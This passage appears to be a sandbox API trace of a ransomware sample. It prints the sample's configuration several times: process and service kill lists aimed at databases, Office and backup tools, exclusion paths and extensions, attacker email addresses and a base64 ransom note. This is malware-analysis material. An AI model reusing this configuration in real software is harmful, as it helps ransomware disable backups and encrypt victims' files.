ad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x272f964, _Radix=0 | out: _EndPtr=0x272f964*=",\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 51200
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64048, Size=0x14) returned 0x2d6a7d0
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a810
	[0059.486] strtol (in: _Str="8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x272f964, _Radix=0 | out: _EndPtr=0x272f964*=",\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 8
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6a7d0, Size=0x18) returned 0x2d6a830
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a6d0
